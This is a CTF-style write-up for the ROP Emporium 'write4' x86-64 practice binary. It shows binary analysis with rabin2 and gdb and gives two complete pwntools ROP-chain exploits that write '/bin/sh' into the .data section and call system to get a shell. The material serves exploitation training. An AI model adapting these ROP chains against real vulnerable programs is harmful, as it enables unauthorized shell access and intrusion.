Writeup
Security protections:
$ rabin2 -I write4
arch x86
baddr 0x400000
binsz 7150
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
Check shared functions in the binary (PLT
):
$ rabin2 -i write4
rabin2 -i write4
[Imports]
Num Vaddr Bind Type Name
1 0x004005d0 GLOBAL FUNC puts
2 0x004005e0 GLOBAL FUNC system
3 0x004005f0 GLOBAL FUNC printf
4 0x00400600 GLOBAL FUNC memset
5 0x00400610 GLOBAL FUNC __libc_start_main
6 0x00400620 GLOBAL FUNC fgets
7 0x00000000 WEAK NOTYPE __gmon_start__
8 0x00400630 GLOBAL FUNC setvbuf
Check strings:
$ rabin2 -z write4
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x000008b8 0x004008b8 22 23 (.rodata) ascii write4 by ROP Emporium
001 0x000008cf 0x004008cf 7 8 (.rodata) ascii 64bits\n
002 0x000008d7 0x004008d7 8 9 (.rodata) ascii \nExiting
003 0x000008e0 0x004008e0 40 41 (.rodata) ascii Go ahead and give me the string already!
004 0x0000090c 0x0040090c 7 8 (.rodata) ascii /bin/ls
There aren’t useful strings that we can use to print the flag,
so we need to write /bin/sh
somewhere and set the value of rdi
to the address of /bin/sh
to call system
.
The vulnerability is the same as split
so I won’t rewrite the decompiler
of the pwnme
functions.
Listing all the functions using gdb
we notice that there’s
an interesting function.
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x00000000004005a0 _init
0x00000000004005d0 puts@plt
0x00000000004005e0 system@plt
0x00000000004005f0 printf@plt
0x0000000000400600 memset@plt
0x0000000000400610 __libc_start_main@plt
0x0000000000400620 fgets@plt
0x0000000000400630 setvbuf@plt
0x0000000000400640 __gmon_start__@plt
0x0000000000400650 _start
0x0000000000400680 deregister_tm_clones
0x00000000004006c0 register_tm_clones
0x0000000000400700 __do_global_dtors_aux
0x0000000000400720 frame_dummy
0x0000000000400746 main
0x00000000004007b5 pwnme
0x0000000000400807 usefulFunction
0x0000000000400820 usefulGadgets
0x0000000000400830 __libc_csu_init
0x00000000004008a0 __libc_csu_fini
0x00000000004008a4 _fini
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400820 <+0>: mov QWORD PTR [r14],r15
0x0000000000400823 <+3>: ret
0x0000000000400824 <+4>: nop WORD PTR cs:[rax+rax*1+0x0]
0x000000000040082e <+14>: xchg ax,ax
mov QWORD PTR [r14], r15; ret
is an useful gadget because if we set as value
of r14
an rw
area, then we can write into it the value of r15
.
Check sections of the binary:
$ rabin2 -S write4
[Sections]
Nm Paddr Size Vaddr Memsz Perms Name
00 0x00000000 0 0x00000000 0 ----
01 0x00000238 28 0x00400238 28 -r-- .interp
02 0x00000254 32 0x00400254 32 -r-- .note.ABI_tag
03 0x00000274 36 0x00400274 36 -r-- .note.gnu.build_id
04 0x00000298 48 0x00400298 48 -r-- .gnu.hash
05 0x000002c8 288 0x004002c8 288 -r-- .dynsym
06 0x000003e8 116 0x004003e8 116 -r-- .dynstr
07 0x0000045c 24 0x0040045c 24 -r-- .gnu.version
08 0x00000478 32 0x00400478 32 -r-- .gnu.version_r
09 0x00000498 96 0x00400498 96 -r-- .rela.dyn
10 0x000004f8 168 0x004004f8 168 -r-- .rela.plt
11 0x000005a0 26 0x004005a0 26 -r-x .init
12 0x000005c0 128 0x004005c0 128 -r-x .plt
13 0x00000640 8 0x00400640 8 -r-x .plt.got
14 0x00000650 594 0x00400650 594 -r-x .text
15 0x000008a4 9 0x004008a4 9 -r-x .fini
16 0x000008b0 100 0x004008b0 100 -r-- .rodata
17 0x00000914 68 0x00400914 68 -r-- .eh_frame_hdr
18 0x00000958 308 0x00400958 308 -r-- .eh_frame
19 0x00000e10 8 0x00600e10 8 -rw- .init_array
20 0x00000e18 8 0x00600e18 8 -rw- .fini_array
21 0x00000e20 8 0x00600e20 8 -rw- .jcr
22 0x00000e28 464 0x00600e28 464 -rw- .dynamic
23 0x00000ff8 8 0x00600ff8 8 -rw- .got
24 0x00001000 80 0x00601000 80 -rw- .got.plt
25 0x00001050 16 0x00601050 16 -rw- .data
26 0x00001060 0 0x00601060 48 -rw- .bss
27 0x00001060 52 0x00000000 52 ---- .comment
28 0x00001ae2 268 0x00000000 268 ---- .shstrtab
29 0x00001098 1896 0x00000000 1896 ---- .symtab
30 0x00001800 738 0x00000000 738 ---- .strtab
We can use the .data
section because is rw
and it is long 16 bytes (we just need 8
bytes to write "/bin/sh\x00"
.
Using ropper we can find a gadget to pop r14; pop r15; ret
. We have everything we need
to code an exploit.
Exploit
#!/usr/bin/env python3
from pwn import context, process, p64, remote, log
class Sender():
def __init__(self, local, debug):
if debug == 'True':
context.log_level = 'debug'
if local == 'local':
self.conn = process('./write4')
else:
self.conn = remote('127.0.0.1', 9999)
chunk = b'a' * 40
system = p64(0x4005e0)
data = p64(0x0601050)
bin_sh = b'/bin/sh' + b'\x00'
mov_addr_r14_r15 = p64(0x0400820)
pop_r14_r15 = p64(0x0400890)
pop_rdi = p64(0x0400893)
payload = chunk
payload += pop_r14_r15 + data + bin_sh
payload += mov_addr_r14_r15
payload += pop_rdi + data
payload += system
snd = Sender('local', False)
log.info(snd.conn.recvuntil('>'))
snd.conn.sendline(payload)
snd.conn.interactive()
with open("out.dat", "wb") as f:
f.write(payload)
Alternative Exploit
#!/usr/bin/env python3
from pwn import *
from ropper import RopperService
options = {'color' : False}
rs = RopperService(options)
rs.addFile('write4')
rs.setArchitectureFor(name='write4', arch='x86_64')
rs.loadGadgetsFor()
for file, gadget in rs.search('pop rdi; ret', name='write4'):
pop_rdi = p64(int(str(gadget).split(':')[0], 16))
for file, gadget in rs.search('pop r14; pop r15; ret', name='write4'):
pop_r14_r15 = p64(int(str(gadget).split(':')[0], 16))
for file, gadget in rs.search('mov [r14], r15; ret', name='write4'):
mov_addr_r14_r15 = p64(int(str(gadget).split(':')[0], 16))
chunk = b'a' * 40
system = p64(0x4005e0)
data = p64(0x0601050)
bin_sh = b'/bin/sh\x00'
payload = chunk
payload += pop_r14_r15 + data + bin_sh
payload += mov_addr_r14_r15
payload += pop_rdi + data
payload += system
conn = remote('127.0.0.1', 9999)
log.info(conn.recvuntil('>'))
log.info(conn.sendline(payload))
conn.interactive()
Flag
ROPE{a_placeholder_32byte_flag!}